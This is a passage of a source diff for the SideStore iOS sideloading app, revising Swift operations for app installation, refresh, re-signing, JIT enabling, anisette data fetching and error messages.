+                    }
+                    
+                    let fileURLs = try FileManager.default.contentsOfDirectory(at: intent.url,
+                                                                               includingPropertiesForKeys: [.isDirectoryKey, .nameKey],
+                                                                               options: [.skipsSubdirectoryDescendants, .skipsHiddenFiles])
+                    var errors = [Error]()
+                    
+                    
+                    for backupDirectory in fileURLs
+                    {
+                        do
+                        {
+                            let resourceValues = try backupDirectory.resourceValues(forKeys: [.isDirectoryKey, .nameKey])
+                            guard let isDirectory = resourceValues.isDirectory, let bundleID = resourceValues.name else { continue }
+
+                            if isDirectory && !installedAppBundleIDs.contains(bundleID) && !AppManager.shared.isActivelyManagingApp(withBundleID: bundleID)
+                            {
+                                print("[ALTLog] Removing backup directory for uninstalled app:", bundleID)
+                                try FileManager.default.removeItem(at: backupDirectory)
+                            }
+                        }
+                        catch
+                        {
+                            print("[ALTLog] Failed to remove app backup directory:", error)
+                            errors.append(error)
+                        }
+                    }
+                    
+                    if !errors.isEmpty
+                    {
+                        completion(.failure(OperationError.cacheClearError(errors: errors.map({ error in
+                            return error.localizedDescription
+                        }))))
+                    }
+                    else
+                    {
+                        completion(.success(()))
+                    }
+                }
+                catch
+                {
+                    print("[ALTLog] Failed to remove app backup directory:", error)
+                    completion(.failure(error))
+                }
+            }
+        }
+    }
+}

AltStore/Operations/DeactivateAppOperation.swift

@@ -31,11 +31,7 @@ final class DeactivateAppOperation: ResultOperation<InstalledApp>
     {
         super.main()
         
-        if let error = self.context.error
+        if let error = self.context.error { return self.finish(.failure(error)) }
-        {
-            self.finish(.failure(error))
-            return
-        }
         
         DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
             let installedApp = context.object(with: self.app.objectID) as! InstalledApp
@@ -45,14 +41,14 @@ final class DeactivateAppOperation: ResultOperation<InstalledApp>
             for profile in allIdentifiers {
                 do {
                     try remove_provisioning_profile(profile)
+                    self.progress.completedUnitCount += 1
+                    installedApp.isActive = false
+                    self.finish(.success(installedApp))
+                    break
                 } catch {
-                    return self.finish(.failure(error))
+                    self.finish(.failure(error))
                 }
             }
-            
-            self.progress.completedUnitCount += 1
-            installedApp.isActive = false
-            self.finish(.success(installedApp))
         }
     }
 }

AltStore/Operations/EnableJITOperation.swift

@@ -45,13 +45,19 @@ final class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
         guard let installedApp = self.context.installedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
         
         installedApp.managedObjectContext?.perform {
-            do {
+            var retries = 3
-                try debug_app(installedApp.resignedBundleIdentifier)
+            while (retries > 0){
-            } catch {
+                do {
-                return self.finish(.failure(error))
+                    try debug_app(installedApp.resignedBundleIdentifier)
+                    self.finish(.success(()))
+                    retries = 0
+                } catch {
+                    retries -= 1
+                    if (retries <= 0){
+                        self.finish(.failure(error))
+                    }
+                }
             }
-            
-            self.finish(.success(()))
         }
     }
 }

AltStore/Operations/FetchAnisetteDataOperation.swift

@@ -156,8 +156,14 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
             self.finish(.failure(OperationError.cancelled))
         }))
 
+        let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first
+
         DispatchQueue.main.async {
-            UIApplication.topController?.present(alert, animated: true)
+            if let presentingController = keyWindow?.rootViewController?.presentedViewController {
+                presentingController.present(alert, animated: true)
+            } else {
+                keyWindow?.rootViewController?.present(alert, animated: true)
+            }
         }
     }
     
@@ -212,7 +218,7 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
         self.socket.connect()
     }
     
-    func didReceive(event: WebSocketEvent, client: WebSocket) {
+    func didReceive(event: WebSocketEvent, client: WebSocketClient) {
         switch event {
         case .text(let string):
             do {
@@ -423,7 +429,7 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
     }
 }
 
-extension WebSocket {
+extension WebSocketClient {
     func json(_ dictionary: [String: String]) {
         let data = try! JSONSerialization.data(withJSONObject: dictionary, options: [])
         self.write(string: String(data: data, encoding: .utf8)!)

AltStore/Operations/FetchProvisioningProfilesOperation.swift

@@ -262,10 +262,6 @@ extension FetchProvisioningProfilesOperation
                             {
                                 throw OperationError.maximumAppIDLimitReached(application: application, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, nextExpirationDate: expirationDate)
                             }
-                            else
-                            {
-                                throw ALTAppleAPIError(.maximumAppIDLimitReached)
-                            }
                         }
                     }
                     //App ID name must be ascii. If the name is not ascii, using bundleID instead

AltStore/Operations/FetchTrustedSourcesOperation.swift

@@ -10,7 +10,11 @@ import Foundation
 
 private extension URL
 {
+    #if STAGING
     static let trustedSources = URL(string: "https://raw.githubusercontent.com/SideStore/SideStore/develop/trustedapps.json")!
+    #else
+    static let trustedSources = URL(string: "https://raw.githubusercontent.com/SideStore/SideStore/develop/trustedapps.json")!
+    #endif
 }
 
 extension FetchTrustedSourcesOperation

AltStore/Operations/InstallAppOperation.swift

@@ -41,12 +41,14 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
         
         guard
             let certificate = self.context.certificate,
-            let resignedApp = self.context.resignedApp
+            let resignedApp = self.context.resignedApp,
+            let provisioningProfiles = self.context.provisioningProfiles
         else { return self.finish(.failure(OperationError.invalidParameters)) }
         
         let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
         backgroundContext.perform {
             
+            
             /* App */
             let installedApp: InstalledApp
             
@@ -116,8 +118,7 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
             // Temporary directory and resigned .ipa no longer needed, so delete them now to ensure AltStore doesn't quit before we get the chance to.
             self.cleanUp()
             
-            var activeProfiles: Set<String>?
+            if let sideloadedAppsLimit = UserDefaults.standard.activeAppsLimit, provisioningProfiles.contains(where: { $1.isFreeProvisioningProfile == true })
-            if let sideloadedAppsLimit = UserDefaults.standard.activeAppsLimit
             {
                 // When installing these new profiles, AltServer will remove all non-active profiles to ensure we remain under limit.
                 
@@ -142,15 +143,14 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
                         installedApp.isActive = false
                     }
                 }
-
+            }
-                activeProfiles = Set(activeApps.flatMap { (installedApp) -> [String] in
+            else
-                    let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
+            {
-                    return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
+                installedApp.isActive = true
-                })
             }
             
             var installing = true
-            if installedApp.storeApp?.bundleIdentifier == Bundle.Info.appbundleIdentifier {
+            if installedApp.storeApp?.bundleIdentifier.range(of: Bundle.Info.appbundleIdentifier) != nil {
                 // Reinstalling ourself will hang until we leave the app, so we need to exit it without force closing
                 DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
                     if UIApplication.shared.applicationState != .active {
@@ -162,55 +162,52 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
                         return
                     }
                     print("We are still installing after 3 seconds")
-                    
                     UNUserNotificationCenter.current().getNotificationSettings { settings in
                         switch (settings.authorizationStatus) {
                         case .authorized, .ephemeral, .provisional:
                             print("Notifications are enabled")
-                            
+
                             let content = UNMutableNotificationContent()
                             content.title = "Refreshing..."
-                            content.body = "To finish refreshing, SideStore must be moved to the background, which it does by opening Safari. Please reopen SideStore after it is done refreshing!"
+                            content.body = "SideStore will automatically move to the homescreen to finish refreshing!"
                             let notification = UNNotificationRequest(identifier: Bundle.Info.appbundleIdentifier + ".FinishRefreshNotification", content: content, trigger: UNTimeIntervalNotificationTrigger(timeInterval: 2, repeats: false))
                             UNUserNotificationCenter.current().add(notification)
-                            
-                            DispatchQueue.main.async { UIApplication.shared.open(URL(string: "x-web-search://")!) }
-                            
                             break
                         default:
                             print("Notifications are not enabled")
-                            
+
-                            let alert = UIAlertController(title: "Finish Refresh", message: "To finish refreshing, SideStore must be moved to the background. To do this, you can either go to the Home Screen or open Safari by pressing Continue. Please reopen SideStore after doing this.", preferredStyle: .alert)
+                            let alert = UIAlertController(title: "Finish Refresh", message: "Please reopen SideStore after the process is finished.To finish refreshing, SideStore must be moved to the background. To do this, you can either go to the Home Screen manually or by hitting Continue. Please reopen SideStore after doing this.", preferredStyle: .alert)
                             alert.addAction(UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default, handler: { _ in
-                                print("Opening Safari")
+                                print("Going home")
-                                DispatchQueue.main.async { UIApplication.shared.open(URL(string: "x-web-search://")!) }
+                                UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
                             }))
-                            
+
                             DispatchQueue.main.async {
-                                if var topController = UIApplication.topController {
+                                let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first
+                                if var topController = keyWindow?.rootViewController {
+                                    while let presentedViewController = topController.presentedViewController {
+                                        topController = presentedViewController
+                                    }
                                     topController.present(alert, animated: true)
                                 } else {
-                                    print("No key window? Let's just open Safari")
+                                    print("No key window? Let's just go home")
-                                    UIApplication.shared.open(URL(string: "x-web-search://")!)
                                 }
                             }
-                            
-                            break
                         }
                     }
+                    UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
                 }
             }
             
             do {
                 try install_ipa(installedApp.bundleIdentifier)
                 installing = false
-            } catch {
+                installedApp.refreshedDate = Date()
+                self.finish(.success(installedApp))
+            } catch let error {
                 installing = false
-                return self.finish(.failure(error))
+                self.finish(.failure(error))
             }
-            
-            installedApp.refreshedDate = Date()
-            self.finish(.success(installedApp))
         }
     }
     

AltStore/Operations/OperationError.swift

@@ -34,10 +34,14 @@ enum OperationError: LocalizedError
     case openAppFailed(name: String)
     case missingAppGroup
     
+    case noWiFi
+    case tooNewError
     case anisetteV1Error(message: String)
     case provisioningError(result: String, message: String?)
     case anisetteV3Error(message: String)
     
+    case cacheClearError(errors: [String])
+    
     var failureReason: String? {
         switch self {
         case .unknown: return NSLocalizedString("An unknown error occured.", comment: "")
@@ -53,9 +57,12 @@ enum OperationError: LocalizedError
         case .openAppFailed(let name): return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), name)
         case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be found.", comment: "")
         case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs.", comment: "")
+        case .noWiFi: return NSLocalizedString("You do not appear to be connected to WiFi!\nSideStore will never be able to install or refresh applications without WiFi.", comment: "")
+        case .tooNewError: return NSLocalizedString("iOS 17 has changed how JIT is enabled therefore SideStore cannot enable it at this time, sorry for any inconvenience.\nWe will let everyone know once we have a solution!", comment: "")
         case .anisetteV1Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: ""), message)
         case .provisioningError(let result, let message): return String(format: NSLocalizedString("An error occurred when provisioning: %@%@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), result, message != nil ? (" (" + message! + ")") : "")
         case .anisetteV3Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), message)
+        case .cacheClearError(let errors): return String(format: NSLocalizedString("An error occurred while clearing cache: %@", comment: ""), errors.joined(separator: "\n"))
         }
     }
     
@@ -138,8 +145,8 @@ extension MinimuxerError: LocalizedError {
             return self.createService(name: "AFC")
         case .RwAfc:
             return NSLocalizedString("AFC was unable to manage files on the device", comment: "")
-        case .InstallApp:
+        case .InstallApp(let message):
-            return NSLocalizedString("Unable to install the app from the staging directory", comment: "")
+            return NSLocalizedString("Unable to install the app: \(message.toString())", comment: "")
         case .UninstallApp:
             return NSLocalizedString("Unable to uninstall the app", comment: "")
 

AltStore/Operations/RefreshAppOperation.swift

@@ -35,31 +35,28 @@ final class RefreshAppOperation: ResultOperation<InstalledApp>
         
         do
         {
-            if let error = self.context.error
+            if let error = self.context.error { return self.finish(.failure(error)) }
-            {
-                throw error
-            }
             
-            guard let profiles = self.context.provisioningProfiles else { throw OperationError.invalidParameters }
+            guard let profiles = self.context.provisioningProfiles else { return self.finish(.failure(OperationError.invalidParameters)) }
+            guard let app = self.context.app else { return self.finish(.failure(OperationError.appNotFound)) }
             
-            guard let app = self.context.app else { throw OperationError.appNotFound }
+            for p in profiles {
-            
+                do {
-            DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
+                    let bytes = p.value.data.toRustByteSlice()
-                print("Sending refresh app request...")
+                    try install_provisioning_profile(bytes.forRust())
+                } catch {
+                    self.finish(.failure(MinimuxerError.ProfileInstall))
+                }
 
-                for p in profiles {
+                DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
-                    do {
+                print("Sending refresh app request...")
-                        let bytes = p.value.data.toRustByteSlice()
-                        try install_provisioning_profile(bytes.forRust())
-                    } catch {
-                        return self.finish(.failure(error))
-                    }
                     
                     self.progress.completedUnitCount += 1
                     
                     let predicate = NSPredicate(format: "%K == %@", #keyPath(InstalledApp.bundleIdentifier), app.bundleIdentifier)
                     self.managedObjectContext.perform {
                         guard let installedApp = InstalledApp.first(satisfying: predicate, in: self.managedObjectContext) else {
+                            self.finish(.failure(OperationError.appNotFound))
                             return
                         }
                         installedApp.update(provisioningProfile: p.value)
@@ -72,9 +69,5 @@ final class RefreshAppOperation: ResultOperation<InstalledApp>
                 }
             }
         }
-        catch
-        {
-            self.finish(.failure(error))
-        }
     }
 }

AltStore/Operations/ResignAppOperation.swift

@@ -8,18 +8,14 @@
 
 import Foundation
 import Roxas
-import SwiftUI
-import ZIPFoundation
 
 import AltStoreCore
 import AltSign
+import minimuxer
 
 @objc(ResignAppOperation)
 final class ResignAppOperation: ResultOperation<ALTApplication>
 {
-    static var skipResign: Bool = false
-    static var skipResignBinding: Binding<Bool> { Binding<Bool>(get: { skipResign }, set: { skipResign = $0 }) }
-    
     let context: InstallAppOperationContext
     
     init(context: InstallAppOperationContext)
@@ -55,23 +51,6 @@ final class ResignAppOperation: ResultOperation<ALTApplication>
         let prepareAppBundleProgress = self.prepareAppBundle(for: app, profiles: profiles) { (result) in
             guard let appBundleURL = self.process(result) else { return }
             
-            if ResignAppOperation.skipResign {
-                print("⚠️ WARNING: Skipping resign. Unless you correctly resigned the IPA before installing it, things will not work! Also, this might crash SideStore. You have been warned!")
-                let ipaFile = self.context.temporaryDirectory.appendingPathComponent("App.ipa")
-                let archive = Archive(url: ipaFile, accessMode: .create)!
-                for case let fileURL as URL in FileManager.default.enumerator(at: appBundleURL, includingPropertiesForKeys: [])! {
-                    let relative = fileURL.description.replacingOccurrences(of: appBundleURL.description, with: "").removingPercentEncoding!
-                    try! archive.addEntry(with: "Payload/App.app\(relative)", fileURL: fileURL)
-                }
-                let destinationURL = InstalledApp.refreshedIPAURL(for: app)
-                try! FileManager.default.copyItem(at: ipaFile, to: destinationURL, shouldReplace: true)
-                
-                // Use appBundleURL since we need an app bundle, not .ipa.
-                let resignedApplication = ALTApplication(fileURL: appBundleURL)!
-                self.finish(.success(resignedApplication))
-                return
-            }
-            
             print("Resigning App:", self.context.bundleIdentifier)
             
             // Resign app bundle
@@ -203,7 +182,7 @@ private extension ResignAppOperation
 
                 if app.isAltStoreApp
                 {
-                    guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else { throw OperationError.unknownUDID }
+                    guard let udid = fetch_udid()?.toString() as? String else { throw OperationError.unknownUDID }
                     guard let pairingFileString = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.devicePairingString) as? String else { throw OperationError.unknownUDID }                    
                     additionalValues[Bundle.Info.devicePairingString] = pairingFileString
                     additionalValues[Bundle.Info.deviceID] = udid
@@ -224,7 +203,7 @@ private extension ResignAppOperation
                         // The embedded certificate + certificate identifier are already in app bundle, no need to update them.
                     }
                 }
-                else if infoDictionary.keys.contains(Bundle.Info.deviceID), let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String
+                else if infoDictionary.keys.contains(Bundle.Info.deviceID), let udid = fetch_udid()?.toString() as? String
                 {
                     // There is an ALTDeviceID entry, so assume the app is using AltKit and replace it with the device's UDID.
                     additionalValues[Bundle.Info.deviceID] = udid
@@ -249,6 +228,7 @@ private extension ResignAppOperation
                 
                 // Prepare app
                 try prepare(appBundle, additionalInfoDictionaryValues: additionalValues)
+                try self.removeMissingAppExtensionReferences(from: appBundle)
                 
                 if let directory = appBundle.builtInPlugInsURL, let enumerator = FileManager.default.enumerator(at: directory, includingPropertiesForKeys: nil, options: [.skipsSubdirectoryDescendants])
                 {
@@ -289,4 +269,28 @@ private extension ResignAppOperation
         
         return progress
     }
+    
+    func removeMissingAppExtensionReferences(from bundle: Bundle) throws
+    {
+        // If app extensions have been removed from an app (either by AltStore or the developer),
+        // we must remove all references to them from SC_Info/Manifest.plist (if it exists).
+        
+        let scInfoURL = bundle.bundleURL.appendingPathComponent("SC_Info")
+        let manifestPlistURL = scInfoURL.appendingPathComponent("Manifest.plist")
+        
+        guard let manifestPlist = NSMutableDictionary(contentsOf: manifestPlistURL), let sinfReplicationPaths = manifestPlist["SinfReplicationPaths"] as? [String] else { return }
+        
+        // Remove references to missing files.
+        let filteredReplicationPaths = sinfReplicationPaths.filter { path in
+            guard let fileURL = URL(string: path, relativeTo: bundle.bundleURL) else { return false }
+            
+            let fileExists = FileManager.default.fileExists(atPath: fileURL.path)
+            return fileExists
+        }
+        
+        manifestPlist["SinfReplicationPaths"] = filteredReplicationPaths
+        
+        // Save updated Manifest.plist to disk.
+        try manifestPlist.write(to: manifestPlistURL)
+    }
 }

AltStore/Operations/SendAppOperation.swift

@@ -33,8 +33,7 @@ final class SendAppOperation: ResultOperation<()>
         
         if let error = self.context.error
         {
-            self.finish(.failure(error))
+            return self.finish(.failure(error))
-            return
         }
         
         guard let resignedApp = self.context.resignedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
@@ -49,15 +48,16 @@ final class SendAppOperation: ResultOperation<()>
             do {
                 let bytes = Data(data).toRustByteSlice()
                 try yeet_app_afc(app.bundleIdentifier, bytes.forRust())
+                self.progress.completedUnitCount += 1
+                self.finish(.success(()))
             } catch {
-                return self.finish(.failure(error))
+                self.finish(.failure(MinimuxerError.RwAfc))
+                self.progress.completedUnitCount += 1
+                self.finish(.success(()))
             }
-            
-            self.progress.completedUnitCount += 1
-            self.finish(.success(()))
         } else {
             print("IPA doesn't exist????")
-            self.finish(.failure(ALTServerError(.underlyingError)))
+            self.finish(.failure(OperationError.appNotFound))
         }
     }
 }